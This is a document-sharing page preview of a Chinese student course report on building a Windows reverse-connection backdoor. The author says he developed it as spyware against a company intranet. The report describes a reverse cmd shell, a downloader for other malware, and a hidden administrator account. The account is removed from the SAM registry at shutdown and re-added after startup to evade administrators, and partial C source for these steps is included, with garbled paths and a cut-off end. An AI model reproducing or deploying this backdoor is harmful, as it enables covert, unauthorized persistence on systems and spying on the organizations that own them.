C--课程设计-基于反弹Socket通信的windows系统后门实现

上传人:cl****1 文档编号:564498264 上传时间:2024-02-16 格式:DOC 页数:70 大小:847.50KB
返回 下载 相关 举报
C--课程设计-基于反弹Socket通信的windows系统后门实现_第1页
第1页 / 共70页
C--课程设计-基于反弹Socket通信的windows系统后门实现_第2页
第2页 / 共70页
C--课程设计-基于反弹Socket通信的windows系统后门实现_第3页
第3页 / 共70页
C--课程设计-基于反弹Socket通信的windows系统后门实现_第4页
第4页 / 共70页
C--课程设计-基于反弹Socket通信的windows系统后门实现_第5页
第5页 / 共70页
点击查看更多>>
资源描述

《C--课程设计-基于反弹Socket通信的windows系统后门实现》由会员分享,可在线阅读,更多相关《C--课程设计-基于反弹Socket通信的windows系统后门实现(70页珍藏版)》请在金锄头文库上搜索。

1、课 程 设 计 报 告 课程名称:面向对象程序设计 设计题目: 基于反弹Socket通信的windows系统后门实现 专 业:计算机科学与技术 姓 名: 学 号: 指导教师:李 晓 虹2016 年 1 月 5 日基于反弹socket通信的windows系统后门程序前言由于工作需要,本人开发了一个比较强大的windows系统后门程序管理某个公司内网作为间谍软件,经过一翻修改,将大部分功能去掉,公布了这部分功能源代码,请老师细看,绝对是网上独一无二的后门程序,开发周期为3个月的时间(此次作业仅为部分主要功能源代码),此程序具有一定的破坏性,请勿恶意使用,仅仅做测试即可。1. 需求分析1.1 介绍后

2、门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。基于反弹socket通信的windows系统后门程序,此程序为典型恶意后门程序,在渗透测试的过程中我们会获取目标服务器的系统权限,如果目标服务器刚好在企业内网里,通过拿下的服务器可以进行进一步的信息搜集渗透内网里的其他网络,如果目标服务是公网服务器,那么可以保存下来做中转跳板,要达到以上目的都需要服务器长久的保存下去,毕竟大多数情况下我们是未授权而进入系统的,管理员的维护活动很有可能修补了我们所能利用的漏洞,如果能通过合适的后门程序来维护被我们攻陷的服务器,那么在一定程度上可以延长服务器在我们手中的控制时间。下面

3、来简要的介绍一下这个windows系统后门的功能:程序分为三个子程序,分别为:HVNcon.exe:后门主控制程序,包含主要的系统操作代码与后门反弹连接代码,其中包含的功能有服务安装、关机计划注册表操作、写Explorer启动项、下载者、反弹cmdshell、cmdshell密码保护。HVNADD.exe主要功能是延时添加指定用户到注册表中,代码中设置了sleep函数在系统启动后规定的时间外执行用户添加,HVNcon.exe中写Explorer启动项就是为了执行HVNADD.exe。HVNdel.exe主要功能是关机执行的从注册表SAM中删除指定用户信息的任务,HVNcon.exe中关机计划注

4、册表操作函数就是实现此功能。1.2 功能简介服务启动服务是指执行指定系统功能的程序、进程,以便支持其他程序,尤其是底层程序,服务就是一种特殊的应用程序,服务启动后对应的程序就一直运行,对于自启动的服务,在系统加载完后就自动启动,而不需要登陆,采用服务启动可以获取系统最高权限,而不仅仅是当前用户权限。反弹后门连接反弹后门的工作原理与常见的木马不一样,反弹后门的连接为反向连接方式,也就是让我们预控制的目标中马后来反向连接我们的控制端,由于防火墙对外连的流量一般是放行的,都是信任的流量,也就信任了反弹后门的行为。后门连接密码保护对我们已经控制了的服务器,为了不被其他黑客所利用,通常会为自己的后门加密

5、码验证来保护自己所控制的服务器。隐藏用户的重启隐藏此功能为本后门的又一大亮点,在为服务器添加隐藏账后可能由于各种原因管理员要对服务器进行维护更有可能重启服务器,那么在“计算机管理”里的“本地用户和组”“用户”里会通过重新读取注册表SAM来显示出我们的隐藏用户,那么我想到的思路则是关闭服务器的过程中从注册表中删除隐藏用户重启服务器后延时添加我们的隐藏用户的操作。这里通过HVNcon.exe来写入Explorer/Run启动项来开机进入桌面后自动调用HVNADD.exe来添加用户。下载者通过去互联网上下载其他恶意程序到本地执行其他恶意行为,如:键盘记录、远程监听、广告插件等。2. 总体设计 2.1

6、 功能要求(1) 支持单个目标客户端的连接,在服务器和多个客户端之间进行数据传输;(2) 利用C/S socket通信,反弹连接,由客户端主动去连接服务端,可在服务端上执行客户端的命令并将显示结果回传;(3) 在用户连接上后有提示,显示出连接信息与客户端主机名;(4) 在系统注册表中创建用户配置;(5) 关机前删除注册表中的用户,重启完成后延时在注册表中创建关机前删除的用户。2.3系统主要功能和主要功能描述:服务器端控制程序能够做的事情:(1) 隐藏用户,并且重启隐藏,当运行此程序时恶意用户会在服务器关机后被删除,开机后延迟在注册表中创建隐藏账户。(2) 反弹连接,由客户端主动通过Socket

7、隧道连接服务端,并执行CMD命令。(3) 通过下载者功能可以下载其他程序到客户端上执行。(4) 通过服务启动,并非注册表启动项启动,可以获得系统最高权限。3. 详细设计3.1 隐藏用户的重启隐藏隐藏用户的基本创建思路是首先创建一个基本的最后带$符号的用户,然后将HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers下的目标隐藏用户的二进制目录与HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames下的用户名称导出到本地磁盘,然后删除刚才创建的隐藏用户,将导出的注册表键值导入注册表就完成了隐藏用户的创建,这样就创建了隐藏用

8、户,重启系统后打开“计算机管理”“本地用户和组管理”“用户”后会自动刷新HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames下的用户而显示出来,这时创建的隐藏用户会再次显示出来。解决方法既然在重启系统后打开“本地用户和组管理”会重新刷新注册表来显示出里面的隐藏用户,那么想到的思路是关机时执行某个脚本程序来删除我们创建隐藏用户,重启系统后再延时创建隐藏用户来达到绕过注册表键值刷新。实施在“运行”中打开“CMD”,在“计算机配置”“Windows设置”“脚本(启动/关机)”中“关机”配置里面可以添加我们需要执行的脚本或程序,如图3-1所示:图3-1这里可

9、以添加某个删除用户的脚本或程序来达到关闭系统删除隐藏用户的功能,这里首先尝试添加任意程序后组策略在注册表里写了哪些键值,如图3-2、图3-3所示:图3-2图3-3从在注册表中查找到的HVNdel.exe来看,写入的注册表中的位置为:(1) HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown(2) HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown定位到Shutdow

10、n下面的子键与值:HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown0如图3-4所示图3-4HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown00如图3-5所示图3-5HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown中键值同上。启动添加用户的话就简单了直接将我们需要创建的隐

11、藏用户写入:HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames,将“类型”指向Administrator所指向的HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers下的键名称。有了注册表键值创建位置那么这些都可以通过注册表编程来实现注册表的读、写、删。代码实现首先当然是用户删除代码:#include #include #pragma comment( linker, /subsystem:windows /entry:mainCRTStartup )typedef struct stuint m_num;int m

12、_name;void main(void)HKEY hKey;if(RegOpenKey(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsersNames, &hKey) = ERROR_SUCCESS)RegDeleteKey(hKey,zzadmin$);RegCloseKey(hKey);typedef struct stuint m_num;int m_name;这段预定义的作用是隐藏程序的执行窗口。RegOpenKey()函数打开指定注册表键,打开后调用RegDeleteKey()函数来删除指定的键,并关闭。删除/添加隐藏账号代码实现:void st

13、artup(void) /延迟50000毫秒执行函数代码Sleep(50000); HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubkey = SAMSAMDomainsAccountUsersNameszzadmin$;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY; /递归创建下面的子健(不存在则创建)LONG lRet = RegCreateKeyEx (hRoot,szSubkey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,

14、&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return; /创建键值 lRet = RegSetValueEx (hKey,0,/0x1f5,0x000001F4,/0x3ee,NULL,NULL);void MachineShutdown(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown0;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY;LONG lRet = RegCreateKeyEx (hRoot,

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 建筑/环境 > 施工组织

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号